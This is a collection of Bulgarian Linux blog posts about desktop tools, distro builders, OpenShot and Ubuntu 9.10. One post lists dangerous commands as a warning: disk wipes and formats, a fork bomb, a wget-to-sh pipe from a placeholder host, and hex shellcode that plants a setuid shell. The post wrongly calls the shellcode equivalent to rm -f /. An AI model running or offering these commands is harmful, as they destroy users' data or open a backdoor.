Изображението е взето от ProcessorBenchmark.com

Предполагам, че много хора все ище ползват конфигурация на системата си, в която имат двете операционни системи работещи паралелно. Предполагам и често ви се налага (както при мен) да превключвате от едната операционна система към другата. В тази статия ще ви покажа инструмента Ext2Read, който ви позволява достъп до вашите Ext/2/3/4 дялове директно от Windows.  Съществуват и други приложения за същата цел, които ви позволяват дори по-добра интеграция, но за съжаление не предоставят толкова добър резултат. Едно от тях е Ext2Fsd – драйвер, който позволява на Windows да чете и открива Linux дяловете, но за съжаление има проблем с разчитането на extended файлови системи (проблем с разичтането на ‘extents’ bit). За да предотвратите този проблем трябва да форматирате повторно дяла и да откажете използването на extents с опцията:

-O ^extent

Използване на Ext2Read

Стъпките за инсталиране всъщност ги няма, тъй като програмата не изисква инсталация. Просто трябва да имате предвид няколко особености:

1. Изтеглете ext2explore-2.2.70-bin.zip, това е архив съдържащ един .exe файл (ext2explore.exe)
2. Стартирайте го като Administrator (както е показано на изображението вдясно.

Ако не спазите стъпка 2 приложението няма да успее да открие вашите Linux дялове. Приложението е изключително лесно за ползване. Все пак е прост мениджър на файлове. Остава да намерите файловете, които ви трябват и да ги изтеглите на Windows дяла – толкова е просто.

Функции на Ext2Explore

• Прост графичен интерфейс, използващ QT4.
• Преглед/Четене на Ext2/ext3/ext4 партиции.
• Linux LVM2 Поддръжка.
• Ext4 Large File поддръжка (не тествано).
• Рекурсивно копиране на цяла директория или дори /
• Поддръжка за външни USB дискове.
• Поддръжка за дискове и изображения на файловата система. На пример Wubi потребителите могат да отворят техния root.disk файл чрез тази програма.
• LRU базиран Block cache за по-бърз достъп.
• Unicode поддръжка.

Gloobus Preview лого

Както знаем, GNOME като десктоп среда се опитва да бъде сравнително проста и същевременно удобна за своите потребители. Повечето от нещата са скрити и в действителност не пречат на работата с файлове на вашия компютър. Една добавка обаче има за цел да направи използването на графичния файлове мениджър по-удобно и приятно. Gloobus е проект, кой има за цел да предложи някои улеснения при работата с много файлове и по-специално бързото им преглеждане.

Тъй като проекта е все още в разработка и повечето от приложенията, които са замислени да бъдат добавени не са съвсем готови ще разгледаме gloobus-preview, инструмента за разгледане на различни файлове – разбирайте текст, код, видео, аудио, изображения и т.н.

Инсталация

Инсталирането на Gloobus-Preview под Ubuntu може да стане използвайки ppa хранилището на проекта:

sudo add-apt-repository ppa:gloobus-dev/gloobus-preview
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install gloobus-preview

С първата команда добавяме хранилището директно в нашия sources.list файл, за да можем да го ипозлваме през пакетния мениджър, с втората обновяваме информацията за пакетите в различните хранилища, които имаме в sources.list след което обновяваме пакетите, които имам инсталирани и с последната команда реално инсталираме gloobus-preview.

Трябва да имате предвид, че веднага след инсталирането приложението няма да работи, за целта е необходимо да рестартираме nautilus (файловият мениджър на GNOME):

nautilus -q
nautilus &

Разбира се можете да инсталирате globus-preview и от изходния код, като го компилирате. За целта е необходимо преди това да инсталирате нужните пакети:

sudo apt-get install libgtk2.0-dev libgvfscommon-dev libgstreamer-plugins-base0.10-dev libcairomm-1.0-dev libtag1-dev libpoppler-glib-dev libgnomeui-dev unoconv libgtksourceview2.0-dev build-essential libswfdec-0.8-dev automake libtool bzr libbz2-dev libdjvulibre-dev libspectre-dev

След което да свалите изходния код от launchpad, използвайки Bazaar:

bzr branch lp:gloobus-preview

И да извършите реалното компилиране и инсталиране приложението:

cd gloobus-preview
./autogen.sh
make
sudo make install

Разбира се последната команда може да бъде заменена с

sudo checkinstall

С тази команда ще бъде създаден .deb пакет, с чиято помощ лесно и бързо ще можете да премахнете gloobus-preview от вашата система. Просто следвайте инструкциите на екрана след стартирането на командата.

Използване

Използването на gloobus-preview става след като изберете файл и натиснете шпация. В зависимост какъв е файла, ще бъде стартиран автоматично режима за неговото преглеждане. За пример:

При аудио файл – ще можете да преслушате файла:

Същото важи и за код:

Както споменах в началото по този начин можете да преглеждате всевъзможни файлове – PDF, видео, снимки и т.н. За повече яснота това е списъка с поддържаните формати за момента:
Изображения: jpeg / png / icns / bmp / svg / gif / psd / xcf
Документи: pdf / cbr / cbz / doc / xls / odf / ods / odp / ppt
Код: c++ / c# / java / javascript / php / xml / log / sh / python
Аудио: mp3 / ogg / midi / 3gp / wav
Видео: mpg /avi / ogg / 3gp / mkv / flv
Други: folders / ttf / srt / plain-text

Настройка

Приложението предлага и няколко възможности за настройка, според това как искате да го ползвате. За да настроите приложението трябва да изберете иконката със зъбно колело в прозореца за преглед – в горния ляв или десен ъгъл на рамката в зависимост от това как са разположение контролните бутони във вашата система. От настройките можете да изберете каква тема да използва – за момента това е стандартната за системата или собствената черна рамка. Дали да бъде винаги над всички прозорци (Always on top) и дали приложението да се изключва, когато напуснете рамката с курсора на мишката (ако сте избрали тази опция винаги ще трябва да натискате X за да затворите прегледа на файла). В същото меню при преглед на снимки ще имате опцията „Set as desktop background“, което предполагам е ясно – снимката, която преглеждате в момента ще стане фон на вашия десктоп.

Допълнителните приложения от Gloobus проекта:

Екипът зад Gloobus има за цел (както вече споменах) да направи използването на GNOME десктоп средата удобно и приятно. Към проекта са добавени още две приложения, от които успях да тествам само CoverGlobus – приложение, което стои като джаджа на вашия десктоп и ви позволява да контролирате вашият аудио плеър, като добавя допълнителни възможности:

• Показване на обложката на албума, който слушате
• Показване на текста на песента като допълнителна джаджа
• Да сложите оценка на песента (поддържа се от Rhythmbox)

Другото интересно приложение, което до този момент не е готово за използване е Globus Flow, с което ще можете да преглеждате съдържанието на директория с Coverflow ефект. За момента няма възможност да бъде тествано, но разработчиците са били така добри да ни предоставят снимка, на своята идея:

Може би почти всеки потребител, запознал се с Linux и знаещ какво точно иска и да очаква от своята операционна система, се е замислял над въпроса – как да създаде своя собствена дистрибуция само с необходимите му приложения и настройки. До скоро възможностите бяха няколко – създаване на chroot среда и дълго ровене в документации и уроци в интернет; инсталиране на LFS (Linux From Scratch) или създаване на backup копие на вашия твърд диск след инсталацията и конфигурирането на инсталираната дистрибуция (моля да ме извините ако пропускам нещо). До тук изброените възможности обаче изискват доста повече умения, особено ако имате желание да създадете качествена дистрибуция. Поради тази причина екипът зад SUSE пусна портала susestudio, с който можете да модифицирате с няколко кликвания на мишката своя модифицирана версия на openSuse. От април тази година (2010) се появи подобен инструмент за създаване на Debian/Ubuntu базирани дистрибуции, наречен Reconstructor. В тази статия ще ви покажа възможностите и на двата портала и това с какво се отличават.

SuseStudio

Важно преди да започнете е това, че susestutio изисква покана, за да създадете своя акаунт и отнема известно време преди да започнете създаването на своята лична дистрибуция.

Избор на базата за вашата дистрибуция

След влизането в портала започва създаването на вашата дистрибуция. Първото нещо, което трябва да изберете е Template или основата, на която ще изградите вашата модифициране версия на openSUSE. Допълнителни мостри, които можете да видите избирайки връзката Additional templates, включват LAMP сървър, KDE4 Reloaded и GNOME Reloaded и два варианта (32 и 64-бита) за сървър с IGNRES софтуер. Reloaded означава, че пакетите за десктоп средите са по-нови. В първата стъпка избирате основа за вашата дистрибуция, архитектурата (32 или 64-бита) и нейното име.

Добавете пакетите, които искате да бъдат инсталирани

Изпълнявайки горната стъпка вече можете да започнете модифицирането на своята SUSE базирана дистрибуция. В дясната лента на страницата ще виждате кратка информация за вашата дистрибуция – колко дисково пространство заема и какъв е размера на LiveCD изображението. В менюто Software можете да изберете допълнителните приложения, които да бъдат инсталирани по подразбиране с инсталацията на операционната система. Важни опции в тази част от процеса на създаването на вашето LiveCD/LiveUSB е, че можете да добавяте допълнителни хранилища в системата, за допълнителен софтуер, както и да добавяте отделни пакети. Ако разработвате собствен софтуер и търсите начин да го окомплектовате с някоя дистрибуция това е един от най-лесните начини да го направите, особено ако разполагате с rpm пакети за вашите приложения.

Мястото където да окрасите своята операционна система

В менюто Configuration можете да конфигурирате изгледа на своята дистрибуция от езика по подразбиране, през тапетите, иконите и екраните за зареждане, през начина за влизане в системата, както и да редактирате скриптовете, които ще бъдат изпълнявани по време и след зареждането на системата или след процеса на създаване. Това е основното място за персонализиране на вашата дистрибуция.

В менюто Files можете да добавяте отделни файлове или архиви към вашата дистрибуция. Това е също удобен начин да добавите своите модификации към вашата дистрибуция, тъй като при правилна подредба на файловете и директориите в архива, след разархивирането им те ще заемат правилното място и ще запазят правата, които сте им задали. Възможно е да добавите и файлове от интернет, както и да качите такива директно от вашият компютър. Самото меню може да не ви се наложи да го използвате ако нямате специални изисквания към операционната система, но ако искате да персонализирате да речем VIM със своя собствен конфигурационен файл и добавени разширения – това е най-лесният начин да го направите.

След като приключите с модифицирането на системата остава да я създадете (менюто Build), т.е. Да създадете живото изображение за вашата собствена дистрибуция. Тук разполагате с четири възможности:

Създайте и използвайте, както поискате

• LiveCD – .iso изображение, което можете да запишете на CD и да стартирате на всеки компютър и да инсталирате по желание
• USB stick/hard disk image – това е .img файл, който можете да разархивирате директно върху вашият USB стик или дял от твърдия диск с приложението dd
• Vmware/VirtualBox – файл, с който можете да стартирате своята дистрибуция за бърз тест в съответните виртуални машини
• Xen Guest – това е друго популярно решение за тестване във виртуална машина – за целта се нуждаете от Xen Host, на който да стартирате своята дистрибуция.

Повече информация за възможните формати за разпространение и изтегляне на вашата дистрибуция можете да намерите в wiki-то на openSUSE.

Последната опция Share е свързана с новопоявилата се възможност да споделяте своята дистрибуция и да разглеждате чуждите в галерията на susestudio, където можете да видите до къде са стигнали и какво са сътворили, други потребители на този портал. Ако не желаете да създадете своя собствена дистрибуция си струва да хвърлите един поглед на вече окомплектованите разновидности на SUSE и може би ще намерите една подходяща за вашият вкус и потребности, ако не намерите винаги имате възможността да поиграете с портала и да създадете своят собствен Linux.

Reconstructor

Debian/Ubuntu за основа на вашата дистрибуция

Reconstructor е алтернативата на sustestudio, но за база на вашата дистрибуция можете да използвате Debian или Ubuntu (включително и 10.04). Разликата между двете платформи започва още от това, че Reconstructor е с отворен код и можете на теория да стартирате услугата и на ваш собствен сървър. Самият интерфейс е доста различен от този на opensuse и определено изисква малко свикване със системата преди да започнете своята творба. Нека обаче пристъпим към използването на самият инструмент. Както и при susestudio ви трябва регистрация, но тук тя е отворена и след попълване на полетата за регистрация (потребителско име, e-mail, парола) вече можете да започвате да творите.

Първото нещо, което е логично да направите е да създадете своя проект, избирайки име, версия, описание, базата върху която ще градите, типа на крайния файл (Disk Image/LiveCD) и графичната среда: XFCE, KDE, GNOME или само терминал. След попълването на полетата в дясната лента ще видите името на своята дистрибуция. Преди да започнете редакцията е добре да обърнете внимание на няколко бутона в горния ляв ъгъл на страницата. За съжаление не става съвсем ясно както точно означават от пръв поглед, затова ще ги обясня:

• Създаване на нов проект
• Добавяне на пакет
• Изтегляне на вашата дистрибуция (3 дни след създаването, файлът ще бъде изтрит и ще трябва да я създадете отново)
• Отбори – за разлика от susestudio тук имате възможността няколко души или екипа да работят над една дистрибуция като разпределите задачите.
• Партньори – партньорските програми към Reconstructor – интересна е On-Disk.com, от където можете да поръчате дистрибуцията си на цветно-принтиран диск и в опаковка.
• Хостване на вашият проект на сървърите на Reconstructor.
• Създаване на LiveCD/DVD или Dsik Image
• Изтегляне на конфигурацията (пакети и т.н.)
• Редактиране на проекта
• Изтриване на проекта

Добавянето на GConf ключ е изключително лесно

След като изберете името на своята дистрибуция в левия панел на портала, пред вас ще се появи редактора на вашата дистрибуция. Доста по-различен от този на susestudio и не чак толкова интуитивен и прегледен, но върши добра работа, след като схванете смисъла му. Бутонът пред отделните опции отваря допълнителен прозорец за настройка.

Можете да изберете дори каква да е рамката на прозорците

Reconstructor е изграден на модулен принцип. Това означава, че ако искате да редактирате конкретна част от вашата дистрибуция трябва да включите/добавите съответния модул към вашето лего. Основната работа по вашата дистрибуция ще извършите в Packages и Modules, като за второто трябва да заредите съответните модули. Избирайки бутона можете да маркирате модулите, които искате да използвате. Всяка част от модификацията на дистрибуцията е отделена в съответния модул, като някои от тях са по-сложни, други по-лесни за работа. Да речем – ако искате да добавите собствено Usplash изображение трябва да разполагате с подходящ .so файл, за създаването на който определено се изискват малко повече знания. Но пък за разлика от susestudio имате възможността да добавите теми, тапети и икони по ваш избор предоставяйки съответния архив с темата. Можете да добавите и .deb пакети или PPA хранилища и т.н. Неща, които са възможни и при susestudio, но пък по-добре застъпени (по моя лична преценка) в Ubuntu, тъй като PPA хранилищата позволяват използването на по-нов софтуер без да чакате окомплектоването му, пък и доста приложения разполагат с такова хранилище и винаги ще предлагате на потребителите си, най-новия софтуер директно от разработчика.

Добавяне на PPA хранилище

Друга интересна опция е, че можете директно да редактирате Gconf ключове с помощта на модула Set Gconf Key предоставяйки ключа във формата /apps/gnome/key (това е само пример), типа на ключа и съответната му стойност. По този начин можете да включите по подразбиране показването на флагове в Keyboard Indicator например, след като през модула Files добавите съответните изображения.

Това, с което повечето дистрибуции се отличават, макар и доста дребно, но присъщо за наистина всички е стартовата страница на FireFox – това също можете да редактирате със съответния модул добавяйки само HTTP адреса на страницата.

Възможностите за редакцията на вашата дистрибуция са наистина много и веднъж свикнете ли с начина на работа бихте могли да създадете своето Ubuntu 2 без никакви проблеми и да го разпространите сред приятели и колеги.

Заключение

Мога да кажа, че и двата портала имат своите плюсове и минуси. Макар и доста лесен за работа susestudio е все още ограничен към новите потребители. От друга страна Reconstructor е не толкова интуитивен, но същевременно доста мощен и следващ принципа на Linux – един модул за една задача. Разбира се можете да тествате и двата портала и надявам се да споделите с BulTux своите дистрибуции, които с удоволствие бихме разгледали и тествали.

Често срещан проблем до скоро беше липсата на приемливо работеща алтернатива на Windows Movie Maker под Linux. Макар и доста методи за постигане на ефекта “Добавяме няколко снимки, избираме си аудио файл и хоп – имаме готово видео” не всичките са достатъчно лесни за използване, много от програмите пълни с грешки или липсващи важни функции или (както Imagination) предлагат само обработката на снимки. От скоро с версия 1.0 блесна приложението OpenShot, което на практика предлага една страхотна алтернатива с изключително много възможности и поддържани формати. Отличавайки се от конкурентите си с това, че може да редактира и видео файлове (не само изображения) и с големия брой поддържани формати за извличане на крайния резултат, OpenShot е приложението, което да превърне незабравимите мигове, в едно страхотно видео, което да запишете на DVD или да разпространявате между приятели.

Графичния интерфейс

OpenShot Главен прозорец

OpenShot е non-linear editor, която означава, че можете да просвирвате, редактирате и миксирате видео и изображения в всякакъв ред и от всеки точка, която пожелаете. За графичния интерфейс се използва GTK, като самата му подредба наподобява изключително много, вече споменатото Microsoft приложение – Movie Maker. Разполагате с поле за преглед на добавените файлове към проекта, разделено на табове, където ще намерите, както ефектите така и начините за преливане от едно изображение в друго. в дясната част се намира полето за преглед, в което по всяко време можете да прегледате крайния резултат, а под двете полета е времевата линия на която да подредите снимките в желания от вас ред, да приложите ефектите и да изберете различните писти (звук, видео, изображения). Повече за самия графичен интерфейс можете да научите в документацията на приложението, за което трябва да инсталирате и пакета openshot-docs_2.0.1-4_all.deb.

Функции на OpenShot

Настройки на видеото

Разбира се пълен списък с функциите, които OpenShot ви предлага можете да намерите и на страницата на проекта, но за статията ще събера по-интересните:

• – Многопистов режим
• – Редакция на клиповете: оразмеряване, разделяне, изрязване и т.н.
• – Видео преливания с преглед в реално време (т.е. можете да прегледате резултата преди да сте записали видеото)
• – Композиране, ефекти върху снимките, водни знаци
• – Примерни заглавия и създаване на заглавия (доста полезен е примера за Creative Commons)
• – SVG-оптимизиран за добавяне на заглавия и текстове
• – Движещ се текст (за крайни надписи)
• – Видео декодиране (базирано на ffmpeg)
• – Дигитално уголемяване на видео клипове
• – Промяна на скоростта на клиповете (slow motion и т.н.)
• – “Ken Burns Effect” (създаване на видео, чрез панорамизиране на статични изображения)
• – и много други.

Поддържани формати

Като цяло поддържаните формати са изключително много и са разделени по категории в зависимост от медията, за която правите видеото. Според проекта категориите могат да бъдат разделени на Blue-Ray, DVD, Web, Устройство (разбирайте Apple TV, iPod, Nokia nHD, Xbox), като програмата поддържа и широкоекранни формати към почти всички профили. Експортирането в Web формати е оптимизирано за YouTube HD, Metacafe и други страници за споделяне на видео. Ако никой от предложените профили не удовлетворява нуждите ви или имате специални изисквания разполагате с разширени опции за създаване на видеото, където имате пълен контрол над използваните декодери, качеството, размера и т.н.

Инсталация

За инсталирането под Ubuntu всичко е доста лесно. Отивате на страницата на проекта, избирате Download и посочвате архитектурата на вашата система и версията на Ubuntu, която ползвате или добавяте PPA хранилището в sources.list Предполагам, че за други дистрибуции също ще има готови пакети, но ако няма ще се наложи ръчно да компилирате приложението. За инсталирането на изходния код можете да погледнете и следната статия на английски, която представя как да го направите: http://www.linuxjournal.com/content/introducing-openshot
Имайте предвид, че архива openshot_1.0.0-1.tar.gz не съдържа необходимите зависимости като: MLT, FFmpeg, Frei0r, и Sox.

Заключение

Като заключение мога само да кажа, че OpenShot е дългоочакван продукт, с който да се допълни използването на Linux Десктоп дистрибуциите и който до голяма степен задминава платените подобни продукти, най-малкото с лесния и удобен интерфейс и многообразието от поддържани формати. За това ако сте търсили до момента такова приложение сега е момента да го инсталирате и тествате. Ще се радваме ако публикувате някои от направените с тази програма клипчета в коментарите – бъдете продуктивни ;)

Ако сте нови в Linux света, шансовете да срещнете човек, който съзнателно да ви накара да използвате команда, която да увреди вашите файлове или цялата ви система са доста големи. За целта ви предоставям един малък списък с най-опасните команди, който не трябва да изпълнявате и надявам се да не карате други хора да ги изпълняват. Към командите е добавено описание и на това, което правят.

1. Команда:

rm -f /

Тази команда рекурсивно ще изтрие всички файлове в root директорията

2. Команда

>char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Същата команда като команда 1., но във hex вариант. в този си вариант може да обърка и потребители с опит.

3. Команда

mkfs.ext3 /dev/sda

Тази команда ще преформатира всички файлове на устройството посочено в командата

4. Команда

:(){:|:&};:

Позната още като Fork bomb. Тази команда ще накара системата ви да стартира голям брой процеси, докато системата замръзне (блокира). Това често може да доведе до загубване на информация.

5. Команда

vsiaka_komanda > /dev/sda

С тази команда ще бъде записана сурова информация в дисковото устройство, което обикновено води до съсипване на файловата система и загуба на информация.

6. Команда

wget http://niakoi_nesiguren_iztochnik -O- | sh

Никога не теглете от несигурни източници и още повече не изпълнявайте, това което е изтеглено от такъв източник. Горната команда ще изпълни скрипт веднага след като е изтеглен.

7. Команда

mv ~/* /dev/null

Тази команда ще премести всичките файлове от домашната ви директория (~/) на място, което не съществува. (/dev/null) Така никога повече няма да видите файловете от личната си директория. Не забравяйте че в личната ви директория се записват и настройката за повечето приложения, инсталирани на вашата система.

Ailurus е едно доста удобно приложение, което ви помага да откриете нови неща за вашата система, както и да я разширите с различни приложения и скрити настройки.  Като допълнение с нея можете да инсталирате приложения, които не предоставят готови .deb пакети. Отличава се от UbuntuTweak не само по дизайна, но и по това, че дава пълно обяснение на извършваните от нея действия като по този начин можете да разберете какво трябва да направите, за да постигнете същия ефект и без използването на подобни приложения.

За прост пример нека погледнем как се сменя оцветяването на bash-терминала. Към функцията в Ailurus откриваме следното описание:

Change Bash prompt symbols from “username@hostname:~$ ” to “username@hostname:~$”.
The trick behind is to add this line into “$HOME/.bashrc”.

PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '

Функции на приложението:

• Инсталиране/Премахване на приложения. Офлайн инсталация е разрешена.
  При офлайн инсталацията ailurus използва собствен кеш направен от aptoncd и не използва /var/cache/apt.
• Засичане на скоростта на apt огледалата. Избиране на най-бързия за вас сървър.
• Добавяне/Премахване на apt-хранилища.
• Промяна на скрити GNOME GConf настройки.
• Промяна на конкретното меню в Nautilus.
• Познати трикове за оптимизиране на системата, чрез “Съвет на деня”-диалог. Триковете ви помагат да използвате по-добре Ubuntu.

Инсталиране:

За да инсталирате приложението разполагате с няколко варианта:

1. Изтегляне от PPA хранилище https://launchpad.net/~ailurus/+archive/ppa
   След което да отворите терминал и да изпълните следните команди:

   sudo add-apt-repository ppa:ailurus
   sudo apt-get update
   sudo apt-get install ailurus

   Или да използвате Synaptic package manager за инсталиране на пакета ailurus.

2. Изтегляне на готов пакет от http://code.google.com/p/ailurus/downloads/list
3. Добавяне на TDT хранилището:
   За целта първо трябва да се сдобиете с GPG ключа на хранилището със следната команда:

   wget -q http://tdt.sjtu.edu.cn/S/project/A98F68DB.gpg -O- | sudo apt-key add -

   След което да добавите следния адрес на хранилището в System -> Administration -> Software Sources:

   deb http://tdt.sjtu.edu.cn/S/ hardy main

   Ако използвате по-нова версия на Ubuntu като 8.10, 9.04, 9.10 заменете думата hardy съответно с “interpid”, “jaunty”, “karmic”

До този момент превод на програмата на български език не съществува и за тази цел се заех с тази задача, но тъй като за превод има наистина много ще се радвам ако и други се включат с превеждане и прегледа на вече преведеното. Можете да следите и прогреса на превода от следния адрес: https://translations.launchpad.net/ailurus/trunk За да се включите в превода трябва да имате регистриран Launchapd акаунт.

Ровейки се случайно из интернет попаднах на играта QuantZ, която се оказа, че има и пакети за Linux и след демонстрацията в YouTube направо ме грабна. Усещането при игра е направо страхотно, а и графиките и всичките 3D ефекти спомагат за пълното пристрастяване.

Но нека кажа малко повече за самата игра. Това е 3D реалистична пъзел игра, в която спазвайки законите на физиката трябва да събирате 4 или повече топки на една от страните на триизмерния обект, контролиран от вашата мишка, докато не унищожите всички. Всичко звучи познато от други подобни игри, но след като видите клипа следващ по-долу в публикацията ще разберете какво е различното.

Разполагате с три режима на игра: пъзел, екшън и стратегия. Контролирате обекта с мишката, като левия бутон служи за забавяне на движението (slow-motion), а десния за по-силно привличане на падаща топка към вашия обект. Казвам обект, защото не винаги е куб (само в първите няколко нива).

Нивата също са разделени на различни светове и сложността се увеличава по два начина: увеличаване броя на различните цветове топки и увеличаването на скоростта при тяхното привличане към обекта.

Играта тествах под 32-битова Ubuntu Karmic Koala 9.10, но според Станко няма проблем да я инсталирате и под 64-битова версия.
Пакет за Ubuntu можете да изтеглите от тук: quantz-beta-1-1-1-1-i386-deb

Друго интересно е, че beta версията е единствено безплатна за Linux, за Windows и MacOS ще трябва да използвате trail версията или да закупите играта за $12,99 от http://www.gamerizon.com/

Ето и обещаната демонтрация:

Остава един ден или по-точно няколко часа до излизането на Ubuntu Karmic Koala и съответно възниква въпроса – време ли е да бъде обновена версията, която до сега ми служеше вярно и без проблемно (разбирайте говоря от гледната точка на потребител пропуснал версиите 8.10 и 9.04 и останал до сега с Hardy). Нуждата от обновяване поне в моято случай беше, че просто нямаше как да ползвам нови версии на програмите, с които съм свикнал, а все пак имах желанието да се порадвам на нови функции и глезотии, макар инсталацията на Hardy да не беше мърдала от повече от година и половина. За да напиша ревюто разбира се реших да тествам бета версията, инсталирана прди повече от седмица беше направо учудващо, колко е стабилна, а съдейки по дългите списъци с обновления – колко много се работи по отстраняването на бъговете. Разбира се имаше и някои проблем, за които ще обясня в края на поста. А сега малко повече за това, което ви очаква:

• Ядро: 2.6.31
• X-Server: 1.6.3
• Gnome: 2.28.1
• FireFox: 3.5.3

и т.н.

Десктоп

Версията 2.28 на Gnome е доста напреднала в много отношения, а освен това и е крачка към версия 3.0 – това, което особено бързо ми допадна от първия поглед бяха иконите в systray – едноцветни и доста добре пасващи към дизайна и сравнително малко шарения, което наистина радва окото, а и напомня за MacOS, и Windows 7. Другата съществена промяна е групираните икони за пощенския клиент и чат приложенията (Epiphany, Gwibber, Pidgin), които са факт благодарение на indicator-applet – това което вършат е просто от едно място да контролирате тези приложения, както и да сменяте статуса си за всичките наведнъж.

Разбира се доста промени са аправени и по темите на десктопа – по-тъмни и доста от иконите не се показват (не безвъзвратно) в менютата на приложенията – това решение обаче не е на Canonical, а на екипът стоящ зад GNOME – повече за решението да бъдат премахнати иконите можете да прочетете на тази страница. Накратко причината е, че се използват много икони с голям размер на места, където са необходими в по-малък, или самите действия които трябва да изобразяват немогат да бъдат изобразени в по-малки икони.

$ gconftool-2 -s --type bool /desktop/gnome/interface/menus_have_icons true

$ gconftool-2 -s --type bool /desktop/gnome/interface/menus_have_icons false

Самата тема с иконите също е доста променена и по мое лично мнение към по-добро, повечето икони пасват една към друга и доколкото ми се струва (без да съм проучил въпроса) ми се струва, че като основа за иконите е използван пакета gnome-colors-5.5

Зареждане

Зареждането на системата също е ускорено, сравнявайки го с това на 8.04 и 8.10, а и самия начин на зареждане е променен. На мястото на Usplash идва Xsplash. В началните версии на новто Ubuntu имаше проблеми с показването текст по време на зареждане – затова разработчиците са сложили изображение, което да скрие грозния текст появяващ се при зареждане. Все още обаче не е ясно кога и дали ще бъде оправено това. А и тъй като не съм тествал server версията на Ubutntu не бих могъл да кажа длаи и той е засегнат, макар при стандартна инсталация, да е без графична среда.

Променена е и темата за GDM, станала е по-тъмна и като цяло неможе да се променя както сте свикнали от менютата. Причината за това е отново Xsplash и целта на разработчиците на Ubuntu, да направят системата още по-бърза. Съществува и малък хак, с който да смените темата на GDM описан тук.

Приложения

Впечатление прави новата програма за инсталиране на приложения Ubuntu Software Store, от където можете да инсталирате бързо и лесно приложения, като за разлика от предишното Add/Remove Software, тук получавате повече информация за приложението, което ще инсталирате. Все още обаче не е ясно дали за вбъдеще от там ще могат да се инсталират и платени приложения, или ще бъде пък нещо подобно на App-Store за iPhone. При всички положения обаче е една добра стъпка за улесняване на потребителите при инсталиране на нови приложения.

Както предполагам сте разбрали Pdigin вече не е чат-клиента по подразбиране за Gnome и е заменен с Epiphany, доколко Epiphany може да се мери с Pidgin все още е въпрос, на който немога да намеря отговор, но за почитателите като мен на Pidgin – просто премахваме epiphany и инсталираме pidgin. За съжаление и Transmission все още клиента за изтегляне на торенти по подразбиране. Всъщност съществени промени освен чат клиента няма, просто по-нови версии с повече функции, които не всеки ползва.

Мултимедия

Що се отнася за звука Ubuntu упорито слагат pulse сървъра, който всъщност за първи път не ми попречи и не ми се наложи да го заменям с alsa. Още по-хубавото е, че доста добре се сработи с bluetooth слушалката ми Nokia BH-104, и веднага със стартирането на скайп чух в нея звук. Да тук забравих да спомена, че скайп в mediubuntu хранилището вече е в последната си версия 2.1 beta и работи само с pulse.

Totem и Rhythmbox остават приложенията по подразбиране за съответно видео и музика. И последното не е заменено с Banschee, но е с последното си обновление. Също така най-вероятно няма да бъде заменян, тъй като по последната информация, която имам е, че разработката му е продължена, макар и от друг разработчик.

Интернет

NetworkManager е обновен до версия 0.7.996, което дава пълен набор възможности за свързване към интернет. Към възможностите е добавена Mobile Broadband, която ви позволява да се свързвате към интернет навсякъде и по всяко време, където вашият мобилен оператор има обхват. Тук при мен се появиха и проблемите, тъй като драйвера за моята Atheros AR5005EG безжична мрежова карта беше разпозната, но за съжаление скоростта на връзката беше плачевна, въпреки че рутера не е на повече от 2 метра отдалечен от лаптопа. Хубавото е, че всичко се оправи след update на системата, лошото – че така и не успях да проследя на какво се дължи проблема. Но ако изключиме това – всичко е доста добре направено и удобно за хората, които не обичат работата с терминала.

Заключение

Като заключение към това кратко ревю мога да добавя само, че въпреки новите функции и улеснения в Karmic Koala, се очакваше малко повече усилия към подобряване на системата. Доста от нововъведенията са просто шарени, но не е напълно функционални, а потребителите очакват повече стабилност. Очаквам и вашите мнения относно новата версия – включително съобщения за проблеми, неща които съм пропуснал и т.н.

Приятно ползване и да се надяваме, че утре ще бъдем изненадани с повече новости по Karmic Koala :)